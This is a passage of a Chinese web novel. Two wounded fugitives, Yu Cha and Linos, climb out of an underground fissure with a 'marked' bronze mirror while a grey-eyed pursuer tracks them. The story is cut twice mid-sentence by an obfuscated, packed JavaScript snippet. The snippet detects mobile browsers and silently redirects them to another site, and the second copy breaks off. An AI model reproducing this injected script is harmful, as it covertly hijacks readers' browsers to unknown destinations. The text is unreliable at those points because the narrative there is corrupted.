那回响,与她刚才在大厅中触碰到平台时听到的嗡鸣,如此相似。 又如此遥远。 --- 与此同时,地下河湾。 燃烧的火焰已经熄灭,只剩下一地焦黑的残迹和弥漫不散的白烟。克里同的士兵已经封锁了这片区域,正在进行细致的搜查和记录。 克里同本人站在拱形石门前,眉头紧锁,凝视着门后那片吞噬一切光线的黑暗。他的手指无意识地在剑柄上敲击着,这是他紧张或愤怒时的习惯。 “……派人下去探过吗?”他问。 “派了三人,绳系腰,火把持足。”旁边的队长低声回答,“但……下去不到十步,火把就无故熄灭。绳索也突然松弛。拉上来时,三人俱已昏迷,至今未醒。” 克里同的眉头皱得更紧。他没有立刻说话,只是盯着那道石门,仿佛能透过黑暗看穿它的秘密。 “……那个闯进来的家伙,”他缓缓道,“你确定掉进去了?” “亲眼所见。他浮出水面后,石门中突然传来一股吸力……他来不及反应,就被拖进去了。那两位跟着他出来的护卫也证实。” 克里同沉默良久。 “把这里封了。留人看守,任何人不得靠近。”他沉声下令,“带上那几个昏迷的,回去找医者。还有,让今天在场所有人都不要再谈论这件事——尤其是关于那个拿蓝色东西的年轻人的事。” “是。” 克里同最后看了一眼那道沉默的石门。 他想起阿尔克提斯,想起她那双燃烧着信仰、从未对他屈服的眼睛,想起她说的那些关于古老誓言和大地愤怒的话。他曾嗤之以鼻,以为那不过是祭司阶层为了维护特权而编造的谎言。 但现在…… 他转身,大步离开。 身后,石门依旧沉默。黑暗依旧深沉。 没有人知道,在那黑暗的尽头,一个来自克里特岛地下最古老裂隙的人,刚刚触碰到了沉睡千年的回响。 也没有人知道,在山的另一边,一条即将被碎石和尘埃淹没的裂隙里,一个左脚已经彻底坏死、意识在昏迷边缘徘徊的女人,正抱着一面古老的铜镜,向着那回响传来的方向,一寸寸爬行。 35. 回响和抉择 裂隙比余茶想象的更深,也更冷。 狭窄的石壁从两侧挤压过来,头顶是低矮的岩层,她几乎是贴在地面上爬行。右手的指尖在粗糙的岩石上磨破了皮,血渗进石缝,与身后拖出的血迹连成一道断续的暗线。左脚完全失去了知觉,像一截沉重的、不属于自己的木头,每一次拖动都只是徒劳地增加摩擦和阻力。她不再感觉到疼痛——那或许不是好转,而是神经已经彻底坏死。 呼吸变得极其困难。不是空气稀薄,而是每一次吸气都需要调动全身仅存的力气。肺叶像两片干瘪的风箱,发出嘶嘶的杂音。视线模糊,不是因为黑暗——黑暗她已经习惯了——而是因为意识正在一点一点地溃散,如同沙漏中缓慢流失的细沙。 她不知道自己爬了多久。时间在这道地底的裂隙里失去了意义。唯一支撑她继续向前的,是那阵从极深处传来的、断断续续的金属回响。 那回响如同心跳,缓慢、恒定、穿透岩层。每一声都仿佛在说:这里。这里。这里。 铜镜被她紧紧压在胸口,镜背冰冷的纹路硌着皮肤,硌出深红的印痕。她不敢松开,仿佛一松手,这唯一的凭证就会被黑暗吞噬。 缝隙开始变宽。 不是她的错觉——两侧的石壁确实在后退,头顶的岩层也在升高。她勉强撑起上半身,在几乎耗尽力气的瞬间,看到了前方的景象。 一个洞穴。不大,约莫十步见方,穹顶低垂,布满了垂落的钟乳石,如同巨兽口中倒生的獠牙。洞穴中央,是一处天然形成的石龛,石龛边缘有明显的人工修整痕迹。石龛内,没有骸骨,没有器物,只有一块嵌入岩壁的、半透明的灰白色石板。 微弱的光,正是从这块石板发出的。 一种弥漫的、稳定的、如同月光凝结的冷白微光。那光并不照亮整个洞穴,只是温润地笼罩着石龛周围一小片区域,将钟乳石的阴影拖曳成沉默的幢幢鬼影。 而那金属回响,在这里变得无比清晰。 它来自石板之后。或者说,来自石板所指向的更深处、更下方——那里,有一个她无法看见、却隐约能感知到的、极其宏大的存在,正在沉睡中缓慢地呼吸。 余茶盯着那块石板,心跳如擂鼓。 她知道这是什么。 在“星之眼”石室中灌入脑海的知识碎片里,有过关于这种石板的模糊描述。它不是记录信息的碑文,也不是控制系统的接口,而是……回响的共鸣板。一种用来接收、放大并转译地脉系统深处信息波的装置。母神文明的守视者通过它,聆听大地的脉动,感知遥远的节点,甚至……与更古老的、沉睡于地心的存在进行有限的、仪式性的沟通。 而这座岛上,每一块这样的共鸣板,都对应着一个特定的频率。星之眼的频率指向星空与未来。档案馆的频率指向过去与记录。 而这块石板…… 余茶艰难地爬到石龛前,伸出颤抖的手,触碰那冰凉的表面。 没有震动,没有光芒爆发,没有意识灌入。 只有寂静。 那持续不断的金属回响,在她触碰到石板的瞬间,骤然消失了。 如同汹涌的海浪撞上礁石,瞬间化为沉寂的泡沫。 然后,一个声音在她脑海中响起。 一个完整的、清晰的、带着无法言喻的古老与疲惫的声音。它没有性别,没有情绪,甚至没有语调,只是平平地、缓慢地、一字一句地,将信息烙印进她的意识: “你带来了守视者的凭证。” “你带来了不属于这个时代的、被扰动的时间之痕。” “你不是继承者,不是篡夺者,不是归乡者。” “你是……意外。” 余茶僵住了。 那个声音没有理会她的震惊,继续陈述,如同一个沉睡千年后被惊醒的录音机,机械地调取着早已写定的信息: “系统已断裂。七脉存四,三脉湮灭。西方节点沉默,北方节点坠落,东方节点……” 它停顿了一下。 “东方节点未回应。已七十二年。” 七十二年。按照这个声音感知的时间流速?还是母神文明自己的历法?余茶无从判断。但她敏锐地捕捉到了那个词——东方节点。 “东方……”她嘶哑地开口,喉咙像被砂纸打磨过,“你说的东方,是哪里?” 声音没有回答她的问题,只是继续陈述: “入侵者自断裂处渗入。形态未知。意图未知。已污染北方节点,侵蚀西方节点外围,并持续追踪守视者凭证的气息。” “你已被标记。” “凭证已被标记。” “裂隙正在扩大。” 余茶的心脏狠狠一缩。入侵者——那个深海光点? “你已被标记。” 这五个字,如同冰锥,钉入她的脊椎。 “怎么……消除标记?”她几乎是咬着牙问。 沉默。漫长的、令人窒息的沉默。 然后,声音回答: “无法消除。” “印记已烙印于你的时间之痕。” “除非时间之痕湮灭。” 除非她死。 余茶闭上眼睛,她没有意外。交易和代价是海洋文明的灵魂。从她在神罚之面下割开自己左腿的那一刻起,她就已经支付了第一笔代价。后来在星之眼的石室,在被碎片抽取生命力、被星图撕裂意识的瞬间,她又支付了第二笔。现在,这个声音只是告诉她,代价远未结清,而她早已被拖入了某个超越她理解的账本。 她睁开眼,看着那块沉默的石板。 “如果……我继续向前,”她说,声音沙哑但平静,“会怎样?” 石板没有回答。但脑海中的声音,似乎有一丝极其微弱的、难以察觉的变化,是某种类似于重新评估的顿挫。 “前方是裂隙深处。” “那里是系统最后的边界。” “也是入侵者最渴望抵达之处。” “你若携带凭证进入裂隙深处,将成为入侵者的路标。” “系统将暴露。” “东方节点将暴露。” “所有残余节点将暴露。” “然后,系统将彻底湮灭。” 余茶沉默了。 她低头看着怀中的铜镜。夔龙纹在石板微光下显得格外幽深,线条流畅而神秘,仿佛凝固了某种跨越大陆与海洋的记忆。 她带着它,入侵者就能循着她的痕迹,找到裂隙深处,找到系统最后的边界,找到所有还活着、还在沉睡、还在等待回响的残余部分,还有东方地标…… 她成了信标。 如果这里的东方指的是她的故乡,那么她未必找到归途,却先给故乡带来危险。 余茶沉默了很久。 然后,她做了一个决定。 她将铜镜从怀中取出,轻轻放在石龛边缘,镜面朝下,贴着冰冷的岩石。 她将那块从水底捞出的青铜残碑,也放在一起。 然后,她用手撑着地面,试图站起来。 左脚毫无反应,她踉跄了一下,摔倒在地,膝盖撞在岩石上,渗出血来。她咬着牙,再次尝试。第二次,第三次。每一次都以摔倒告终。 第四次,她不再试图站起,而是开始向后爬——离开石龛,离开那些她拼死寻找,此刻却成为致命标记的东西。 她要把它们留在这里。 她很累,也很痛,前路渺茫。既然标记无法消除,无法剥离。那至少,她可以让这些凭证不再与她同行。让它们留在这块共鸣板前,留在这个相对安全、相对隐蔽的洞穴里。也许,未来的某个继承者、某个归乡者,能找到它们,解开未知的谜,找到回家的路。 而她,带着那个无法消除的印记,去另一个方向看看,哪怕不是生路,如果能把追踪者引向死路,也是赚了。 这是她此刻能想到的、唯一的办法。 她爬了三步。 身后,传来一声极其轻微、极其熟悉的嗡鸣。 她僵住了。 那是铜镜的声音。不是共振,不是预警,而是……一种仿佛被遗弃的幼兽发出的、微弱而固执的呼唤。 她不敢回头。 嗡鸣持续着,越来越轻,越来越弱,像一个快要溺水的人最后一次伸出手。 铜镜在挽留她走向生路。 她停了一下,手指抠进石缝,死死咬着嘴唇,但最后没有回头,继续向前爬。 嗡鸣停止了。 洞穴里只剩下她自己的喘息,以及石板那稳定的、冷漠的、亘古的微光。 她爬到了洞穴另一个边缘,一道陌生的缝隙。 就在这时—— 一个声音,从裂隙深处传来。 是利诺斯的声音。虚弱、沙哑、几乎被岩石和水声淹没,但她绝不会听错: “……余茶……” 她猛地抬起头。 ————— 同一时刻,裂隙的尽头,灰白色的大厅。 利诺斯半跪在那座沉寂的平台前,一只手撑着冰冷的石面,另一只手死死按着左腿那道崩裂的伤口。他的脸色苍白如纸,淡琥珀色的眼睛却燃烧着近乎疯狂的执拗。 他不知道自己在这里待了多久。时间在这个被遗忘的深处失去了意义。他只知道自己必须回去。 碎片还在怀中,但已彻底沉寂。那阵诡异的灰色流光收敛后,平台恢复了绝对的死寂。没有出口,没有通道,没有任何可以离开的迹象。 但他不能死在这里。余茶还在上面。那些士兵迟早会发现她。 他努力支撑着身体,在这座空旷得令人发疯的大厅里,沿着每一寸墙壁摸索,寻找任何可能的裂隙、机关、隐藏的通道。 然后,在一个极其隐蔽的、被立柱阴影遮掩的角落,他摸到了一条几乎垂直向上、勉强可容一人攀爬的天然岩缝。 岩缝狭窄、陡峭、湿滑,但他不在乎。他拖着那条几乎无法用力的左腿,用尽全身力气,开始向上攀爬。 每向上一步,都在岩壁上留下一个血手印。 不知爬了多久,岩缝开始变宽,前方隐约传来——光。 不是灰白色的冷光,而是熟悉的、来自火焰的、温暖的橘红光芒。 还有声音,一种极其微弱的、持续不断的嗡鸣。 铜镜的声音。 他猛地加快了速度,从岩缝中挤出身来,跌跌撞撞地扑向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226106|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那光与声音的来源—— 然后,他看到了。 一个低矮的洞穴。中央石龛里,一块灰白色的石板散发着温润的微光。石龛边缘青铜镜镜面朝下,孤独地躺在那里,纹路沉默地映着冷光。 而洞穴另一侧的缝隙入口,一个纤细的、浑身血污、左脚拖曳在身后的身影,正僵硬地转过头来。 淡琥珀色的眼睛,与一双布满血丝、在黑暗中显得异常明亮的黑眼睛,在那一瞬间相遇。 时间仿佛静止。 然后,利诺斯看到她脸上那无法掩饰的震惊,以及……眼眶边缘、未被泪水浸湿、却已彻底泛红的痕迹。 他张了张嘴,喉咙里发出的声音嘶哑得连自己都认不出: “……你在干什么?” 余茶没有回答。 她只是看着他,看着他满身的血、惨白的脸、以及那条几乎拖不动的左腿。 她的嘴唇颤抖了一下,似乎想说什么,最终只是挤出一个极其沙哑、极其微弱的音节: “……你怎么……” “爬出来的。”利诺斯打断她,声音像砂纸摩擦岩石。他盯着她,盯着她空空的双手,盯着石龛上被遗弃的镜子,盯着她身后那道黑暗。 他的瞳孔猛地收缩。 “你在……扔掉它们?”他的声音陡然变得尖锐,带着难以置信和某种被压抑的、即将爆发的情绪,“你在——你打算一个人爬去哪里?!” 余茶没有躲闪他的目光。她只是平静地、缓慢地、一字一句地说: “我被标记了。我带着它们,只会把入侵者引向系统最后的边界,引向所有还活着的地方。”她顿了顿,“它们留在这里,比我带着更有价值。” “然后你呢?”利诺斯的声音冷得像冰,“你爬进那条黑窟窿,流血而死,或者被追踪你的人找到,被拷问,被杀。这就是你算出来的价值?” 余茶沉默了。 沉默本身就是回答。 利诺斯盯着她,淡琥珀色的眼睛里翻涌着极其复杂的情绪。愤怒、荒谬和不认同。 他猛地冲上前,弯腰,一把抓起石龛上的铜镜,将它强行塞回余茶手中! 镜背冰冷的纹硌着余茶满是血污的掌心。 “你给我拿着。”他的声音低沉、急促,每个字都像从齿缝里挤出来的,“我们拼命带出来它,不是为了让你把它扔在洞里等死。” 余茶握着镜子,手指僵硬。她抬头看他,嘴唇动了动,却发不出声音。 利诺斯没有看她。他弯腰,又将装着五块碎片的布囊,同样塞进她怀里。然后是那块青铜残碑。 “还有这些。”他的声音恢复了那种冰冷的、听不出情绪的语调,但手指在触碰到她满是血污的掌心时,微微顿了一下,“你背着它们,从神罚之面爬到星之眼,从星之眼爬到档案馆,从档案馆爬到这里。” “现在你要我把它们背出去?”余茶的声音沙哑。 “不是背。”利诺斯终于抬起头,直视她的眼睛。那双淡琥珀色的眸子里,燃烧着某种她从未见过、也解读不了的光芒。 “是继续爬。” 他顿了顿,声音低了下去,几乎被洞穴里石板恒定的微光声淹没: “……我们一起,活着出去。” 余茶怔住了。 她看着他。看着他脸上纵横的血污和尘土,看着他下巴上新添的伤口,看着他淡琥珀色眼睛里那抹不肯服输的执拗。 她想说:你的腿也断了。 她想说:两个人一起,死得更快。 她想说:这不划算。 但最终,她什么都没有说。 她只是低下头,将那面冰冷的铜镜,重新抱进怀里。碎片和残碑硌着她的肋骨,隔着湿透的衣物,像是一种脆弱又无用的武器。 沉默在两人之间蔓延。 石板的光芒依旧稳定,钟乳石的影子依旧沉默地匍匐在周围。那阵金属回响,不知何时又恢复了,从极深的地底传来,缓慢、恒定、如同亘古的心跳。 余茶闭上眼睛。 她听到自己的声音,极其微弱,几乎被回响淹没: “……往哪边爬?” 利诺斯的目光越过她,落在她身后那道即将没入黑暗的裂隙上。 然后又移开,落向洞穴另一侧、石龛阴影边缘、一块被忽略的岩石背后。 那里,隐约有极其微弱的气流,从岩石与岩壁的夹缝中缓缓渗出。 “这边。”他说。 他没有解释为什么选这边。余茶也没有问。 她用仅剩的右手撑着地面,将完全无法用力的左脚拖在后面。 利诺斯弯腰,用肩膀架起她大半的重量。 两人一起,向那道不知通向何方的、微弱气流的源头,一寸寸挪去。 身后,石龛上的石板依旧散发着温润的冷白微光。 铜镜和碎片,终究还是被带走了。 而那个从裂隙深处传来的、亘古的金属回响,在他们身后,缓慢地、不知疲倦地,继续搏动。 如同守视者,永远无法停止聆听大地的心跳。 而尚未结清的代价,永远在账本的某一页,等待着最终支付的时刻。 36. 气流的尽头 气流的源头比想象中更远。岩石的夹缝狭窄得几乎无法容身,利诺斯走在前面,用肩膀和后背挤开那些看似松动却纹丝不动的石棱。他的左腿完全无法用力,每挪动一步都需要将全身的重量压在右腿上,然后用双臂撑住两侧的岩壁,将身体强行向前拖拽。伤口崩裂的剧痛让他额头冷汗涔涔,但他没有发出任何声音——除了粗重如破风箱般的喘息。余茶跟在他身后,用仅剩的右手攀附着他踩过的每一处凸起,失去知觉的左脚拖在最后。怀中的铜镜和碎片硌着她的肋骨,每一次爬行都像有钝刀在反复割磨。但她同样没有停下,甚至没有呻吟。她的目光死死盯着前方那个模糊的背影——在绝对的黑暗中,利诺斯的存在是唯一的活命坐标。风越来越明显。起初只是若有若无的拂动,如同垂死者最后一丝呼吸。但随着他们不断深入,那气流逐渐变得稳定而清晰,带着一种不同于地下腐败气息的、微微的干燥和温暖。那温度极其微弱,但在冰冷刺骨的岩层深处,如同沙漠中的一缕泉音。“快了。”利诺斯嘶哑的声音从前方的黑暗中传来,带着压抑不住的颤抖——不知是因为寒冷还是因为剧痛。余茶没有回答。她只是继续爬。又不知过了多久——前方的岩缝陡然开阔。利诺斯率先从夹缝中挤出身去,踉跄着站稳,然后伸手将余茶拖了出来。两人瘫倒在一片相对平整的、干燥的岩石地面上,大口喘息,任由冷汗浸透破烂的衣衫。余茶勉强抬起头,环顾四周。这是一个天然形成的石室,比之前那个有石板的洞穴更大一些,但同样空无一物。石室的顶部有一道狭窄的、几乎垂直向上的裂隙,那股干燥温暖的气流,正是从那里灌下来的。而在那道裂隙的正下方,堆积着一些被风化剥落的岩石碎块,碎块之间,隐约露出……非天然的东西。利诺斯也看到了。他挣扎着爬起来,挪到那堆碎石旁边,拨开表面的石块。露出的,是一具骸骨。不是守视者那种矿化成玉白色的完整骸骨,而是一具普通的、不知死了多久的人骨。骨骼散乱,衣物早已腐烂成泥,只有几件零星的金属器物散落在周围——一把锈蚀严重的短剑,一枚铜质的指环,还有……一块巴掌大小的、被压在骸骨胸口的陶片。利诺斯拿起那块陶片。陶片表面粗糙,但隐约可见烧制前刻下的纹路——是他没见过的符号,是一种极其简略的、如同孩童涂鸦般的线条:一个人,一棵树,一个太阳,以及一条弯曲的线,线上有几个点。地图?余茶的目光落在那把锈蚀的短剑上。剑身的形制……与利诺斯之前使用的那把短剑几乎一模一样,但更加古老,锈蚀更严重。“这人……”她艰难地开口,“和之前的守视者……不是同一批。”利诺斯点头。这具骸骨的姿态和随身物品,更像是某个后来者——也许是几百年前的某个冒险者、逃犯、或被流放的祭司——偶然闯入这里,最终死在这道裂隙下方,至死未能爬出去。他的目光落在那道垂直向上的裂隙上。干燥温暖的气流正是从那里灌下来的。如果沿着那道裂隙向上攀爬……他走到裂隙下方,仰头向上望去。极高。而且陡峭。几乎没有可以攀附的凸起,只有极其狭窄的、勉强可容一人通过的垂直岩缝。但对现在的他们来说,即便是这样一条近乎绝路的裂隙,也是唯一的希望。他回头看向余茶。余茶也在看那道裂隙。她的左脚已经完全无法用力,右手的指尖血肉模糊,身上大大小小的伤口还在渗血。她连爬行都几乎耗尽所有力气,攀爬这样陡峭的垂直裂隙——她与利诺斯对视。“你上去。”她说,声音沙哑但平静,“找到出口,然后……找人来。”利诺斯没有说话。“这些东西,”余茶摸了摸怀中的铜镜和布囊,“我守着。如果你能找到阿尔克提斯,或者任何可以信任的人……”“没有可以信任的人。”利诺斯打断她,淡琥珀色的眼睛里没有丝毫波动,“克里同的搜捕队遍布全岛。就算我爬上去,也找不到人救你。而且——”他顿了顿,“你等不到我回来。”余茶沉默了。她知道他说的是事实。利诺斯没有再看她。他弯腰,从那具骸骨旁边捡起那把锈蚀的短剑,掂了掂分量,又扔掉。然后,他开始解自己腰间那根破烂的、勉强还算结实的布条腰带。“你干什么?”余茶问。利诺斯没有回答。他将布条的一端系在自己腰间,另一端用力扯了扯,确认还算结实,然后走到余茶身边,蹲下身。“抱住我。”余茶愣住了。利诺斯不耐烦地皱了皱眉,直接弯腰,将那条布条的另一端紧紧系在余茶的腰间,将她与自己绑在一起。“你……”余茶的声音卡在喉咙里。“闭嘴。”利诺斯言简意赅,“摔死总比等死强。”说完,他不再给她任何反驳的机会,转身走到裂隙下方,双手攀住岩壁上第一处微乎其微的凸起,开始向上爬。余茶被他拖着,整个人悬空起来!她下意识地用右手死死抓住系在腰间的布条,左脚在空中无助地晃荡,剧痛瞬间撕裂了麻木的神经!她咬紧牙关,不让自己发出任何声音,但眼泪不受控制地涌出眼眶——不是因为疼痛,而是因为一种无法言喻的、从未体验过的、完全超出她计算的……她不知道那是什么。她只知道,利诺斯正在用那根随时可能断裂的破烂布条,拖着她这条濒死的残命,一寸一寸地,向上爬。---攀爬的过程是一场漫长的酷刑。利诺斯的双手很快就被锋利的岩棱割得血肉模糊,每一次抓握都留下新的血痕。他的左腿完全无法用力,只能靠右腿和双臂的力量,将两个人的重量一点一点向上拖。那根布条勒进他的腰腹,摩擦着伤口,但他毫不在意——或者说,他已经没有多余的精力去在意疼痛。余茶悬在他身下,双手死死抓住布条,尽可能地减轻他背负的重量。她的左脚每一次晃动都带来撕裂般的剧痛,但她强迫自己保持静止,不让自己成为摆动的累赘。她的目光死死盯着上方那个模糊的背影,看着血从他身上滴落,落在她的脸上、手上、怀里那面冰冷的铜镜上。时间停止。世界缩小为这狭窄的岩缝,这漫长的垂直攀爬,这粗重而破碎的喘息,这彼此体温透过破烂衣物传来的微弱暖意。不知爬了多久,就在余茶觉得自己的手臂再也无法抓住布条、意识即将彻 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底涣散时——上方传来利诺斯一声压抑的闷哼,紧接着,她的身体被猛地向上一提!她撞上了一个坚硬的、冰冷的东西——是岩石边缘。然后,一只手抓住她的手臂,用尽最后的力气,将她从裂隙中拖了出来!两人重重摔倒在坚实的、平坦的、长满苔藓和杂草的地面上。冰冷的空气涌入肺叶,但这一次,空气中带着浓郁的、新鲜的、属于地表的气息——泥土、草木、还有隐约的、微咸的海风。他们出来了。余茶躺在湿漉漉的苔藓上,大口喘息,任由泪水无声地流淌。头顶不再是低矮压抑的岩层,而是夜空——深蓝色的、缀满繁星的、广阔无垠的夜空!月亮不知道什么时候升起来了,清冷的月光洒在周围的山林上,勾勒出嶙峋的岩石和茂密树冠的剪影。他们在一处陡峭的山坡上,身后是他们爬出的那道岩缝——一处极其隐蔽的、被藤蔓和灌木半掩的天然裂隙。下方,是深不见底的黑暗;上方,是通向山脊的路。利诺斯瘫倒在她旁边,脸埋在苔藓里,一动不动。他的后背还在渗血,左腿以一种可怕的角度弯曲着,整个人如同刚从血池里捞出来的尸体。余茶挣扎着撑起身体,爬到他的身边,用颤抖的手探了探他的鼻息。还有呼吸。微弱,但还在。她瘫坐在地上,仰头看着那陌生的星空,听着远处传来的、隐约的海浪声,突然发出一声沙哑的、压抑到极致的、不知是哭还是笑的声音。他们活下来了。以最不可思议的方式,从最深的地底,爬回了人间。她低头看向怀中的铜镜。镜面蒙着血污,但依旧光滑。夔龙纹在月光下显得格外幽深,夔龙盘曲的线条仿佛在缓慢流动。她看向旁边的布囊。五块碎片依旧死寂。她又看向躺在地上的利诺斯。他的眉头紧锁,即使在昏迷中也无法放松。余茶沉默了很久。然后,她伸出手,将那根还系在两人之间的破烂布条,轻轻解开。她没有扔掉它,而是小心地折叠起来,塞进怀里,紧贴着那面冰冷的铜镜。她活下来了,在一个本不可信任的人的帮助下。她靠在旁边的岩石上,将利诺斯的头轻轻扶起,放在自己膝上。冰冷的月光洒在他们身上,远处的海浪声如同亘古的摇篮曲。她闭上眼睛。明天,还要继续逃。还要继续找。还要继续面对那无法消除的印记、无法结清的代价、以及不知通向何方的未来。但至少今夜——至少此刻——他们活着。---同一时刻,山脊的另一侧。一道披着深色斗篷的身影,站在一处突出的岩石上,遥望着远处月光下银白色的海面。他手中的暗蓝色金属薄片微微发光,边缘流淌着如同呼吸般的光晕。那个年轻人——冰灰色眼睛的主人——缓缓转过身,看向身后那片茂密的山林。他的嘴角勾起一丝没有任何温度的弧度。“果然还活着。”他低声自语,声音被夜风吹散。“能从那道裂隙爬出来……有意思。”他收起金属薄片,转身,消失在黑暗的山林之中。身后,只有月光冷冷地照着,照着那片隐藏着无数秘密的古老土地,照着那对刚从地底爬出的、浑身浴血的幸存者,照着那面承载着跨越大陆记忆的、沉默的夔龙纹铜镜。 37. 月下的追踪者 月光冷冷地照着,将山林切割成银白与深黑的碎片。余茶靠坐在岩石上,利诺斯的头枕在她膝上,一动不动。她能感觉到他微弱的呼吸透过破烂的衣物传来,带着血腥和泥土的气味,还有一丝若有若无的体温。那体温正在缓慢流失。 她不能让他死在这里。 这个念头如此清晰、如此不容置疑,以至于她自己都愣了一下,但她没有继续想下去。没有时间,也没有力气。 她抬头看向四周。月光下的山林寂静得可怕,只有远处隐约的海浪声和近处不知名夜虫的偶尔鸣叫。他们所在的这片山坡相对开阔,身后是他们爬出的那道岩缝,已经被藤蔓和灌木半掩,若不仔细搜索,很难发现。前方是通向山脊的路,两侧是陡峭的斜坡,斜坡上长满了低矮的灌木和嶙峋的岩石。 必须找个更隐蔽的地方藏身。这里虽然暂时安全,但天亮之后,搜捕队很可能会搜索到这片区域。而且—— 她下意识地摸了摸怀中的铜镜。夔龙纹在月光下幽深如故,冰冷如故。那个声音说,她已经被标记了。那很可能会有未知的危险,正在循着某种她无法感知的痕迹,一步步接近。 不能久留。 她低头看向利诺斯。他的脸色苍白如纸,嘴唇毫无血色,左腿的伤口还在渗血,染红了身下的苔藓。她不懂医术,但常识告诉她,如果不尽快止血、保暖、补充水分,他撑不过今晚。 她的目光落在他腰间——那把卷刃的短剑不知何时已经丢失了,但他破烂的衣物里似乎还有什么东西鼓起。她伸手摸了摸,掏出来的是一小块烤熟的块茎,已经压扁了,沾着血污和泥土。 是他之前在森林里找到的?一直留着? 余茶盯着那块块茎,喉咙里涌起一阵酸涩。她掰下一小块,塞进自己嘴里,机械地咀嚼,然后强迫自己咽下去。粗糙的淀粉划过着食道,带来一丝微弱的热量。她又掰下一小块,捏开利诺斯的嘴,将食物塞进去,轻轻按压他的喉咙,帮助他吞咽。 她不知道自己这样做有没有用。但她必须做点什么。 喂完那块块茎,她开始检查利诺斯的伤口。左腿的骨折早已错位,血肉模糊的伤口边缘已经开始发黑——那是坏死的征兆。她没有药物,没有工具,甚至没有干净的布条可以重新包扎。她只能撕下自己破烂的衣襟,将那狰狞的伤口紧紧勒住,尽可能地止血。 利诺斯在昏迷中发出一声压抑的闷哼,眉头紧锁,但没有醒来。 余茶做完这一切,已经气喘吁吁,冷汗浸透了后背。她靠回岩石,闭上眼睛,试图在混乱的意识中理出一条可行的路。 往哪里走?怎么走?她和利诺斯两个濒死的废人,带着被标记的铜镜和碎片,被搜捕队追踪…… 她突然睁开眼。 铜镜。 她将铜镜从怀中取出,放在月光下仔细端详。夔龙纹在月光下显得格外清晰——那盘曲的身体、独足、张口吞日的姿态,与爱琴海任何纹饰都截然不同。镜背边缘的三圈铭文依旧模糊,但在这个距离、这个角度,她似乎能分辨出最外圈那些类似甲骨文的刻痕中,有几个反复出现的符号。 她将那些符号的形状深深烙印在脑海里。也许以后有用——如果还有“以后”的话。 就在她盯着铜镜时,镜面突然闪过一丝极其微弱的、几乎难以察觉的暗金色流光。 余茶一惊,然后死死盯着镜面。 流光再次出现,是一种极其微弱的、如同垂死者最后一丝心跳般的脉动。那脉动极其缓慢,大约每隔十几息才闪烁一次,而且越来越弱,越来越暗,仿佛随时都会彻底熄灭。 这不是在主动示警或共鸣。这是……铜镜耗尽能量前的最后一次挣扎? 余茶想起那个声音的话:“凭证已被标记……” 难道铜镜正在用自己的力量对抗那个标记,而这场对抗正在耗尽它最后的能量? 那她必须尽快做出决定。 她将铜镜重新塞进怀里,用破烂的衣物裹紧。然后,艰难地挪动身体,从怀中再次拿出那根系过两人的布条。布条上沾满了血,但还算结实。 她用布条将自己和利诺斯再次绑在一起——这一次,是她背着他。 左脚完全无法用力,她只能用右腿和双手,一点一点地,拖着两个人的身体,向山坡更高处、林木更茂密的地方挪去。 每挪动一步,左腿的残肢就传来一阵撕裂般的剧痛。但她咬紧牙关,一声不吭。汗水模糊了视线,泪水不知何时也混了进来,但她顾不上擦。 身后,利诺斯沉重的身体压在她背上,每一次呼吸都带着滚烫的、不祥的热度——他在发烧。这是伤口感染的前兆。 必须更快。 不知挪了多久,她终于找到了一处相对隐蔽的凹陷——两块巨大的岩石交错形成的天然缝隙,缝隙口被茂密的灌木丛半掩,内部勉强可容两人蜷缩。她将利诺斯拖进缝隙,然后瘫倒在他旁边,大口喘息,眼前阵阵发黑。 月光透过灌木的缝隙,在缝隙内投下斑驳的碎影。远处,海浪声依旧。山林寂静。 她闭上眼睛。 就在这时—— 一阵极其轻微、几乎被风声淹没的窸窣声,从远处传来。 是脚步声。极其谨慎、极其轻盈、但确实存在的脚步声。而且不止一个人。 余茶猛地睁开眼,心跳几乎停滞。 她屏住呼吸,侧耳倾听。 脚步声越来越近。从山脊的方向传来,正在向这片山坡靠近。月光下,隐约可见几道黑影,正沿着她刚才经过的路径,缓缓搜索前进。 是搜捕队?还是…… 为首的那道黑影,在月光下突然停住了。他抬起头,露出一张年轻、苍白、五官深刻的脸——以及一双在月光下闪烁着冰冷光泽的冰灰色眼睛。 一个危险的年轻人。 年轻人缓缓扫视四周,最后,他的目光,精准地落在余茶和利诺斯藏身的这片灌木丛方向。 他嘴角勾起一丝弧度。 “找到你了。” 那声音极轻,但在寂静的夜里,如同冰锥刺入耳膜。 余茶下意识地抱紧了怀中的铜镜,另一只手死死捂住自己的嘴,不让自己发出任何声音。利诺斯依旧昏迷,呼吸滚烫而沉重,但此刻那呼吸声在她听来,如同擂鼓般震耳。 年轻人抬起手——那只手中,握着那块暗蓝色的金属薄片。薄片边缘流转着诡异的光晕,光晕的每一次闪烁,都指向余茶所在的方向。 “标记……果然在这里。” 他迈步,向灌木丛走来。 余茶闭上眼睛。 完了。 这个念头平静得可怕。没有恐惧,没有不甘,只有一种近乎麻木的、终于到来的解脱感。她太累了。从逃出洞穴的那一刻起,她就已经透支了所有的力气和意志。现在,她真的撑不下去了。 身后,利诺斯的呼吸依旧滚烫。 她松开捂着嘴的手,转过身,最后一次看着他那张在月光下苍白的脸。他的眉头紧锁,即使在昏迷中也无法放松。 她伸出手,轻轻拂去他额头上沾着的草叶。 然后,她深吸一口气,用尽最后的力气,猛地推开利诺斯,将他推向缝隙更深处。她自己则挣扎着撑起身体,向缝隙口爬去。 她不知道这样做有没有用。她只知道,如果那个年轻人追踪的是标记,而她就是标记本身,那么只要她离开利诺斯,至少—— 至少他还有一线生机。 她爬出缝隙,暴露在月光下。 年轻人停住了。冰灰色的眼睛盯着她,带着一丝玩味。 “哦?”他的声音依旧很轻,“主动出来?还是……想引开我?” 余茶没有回答。她只是死死盯着他,手指抠进泥土,指甲断裂渗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 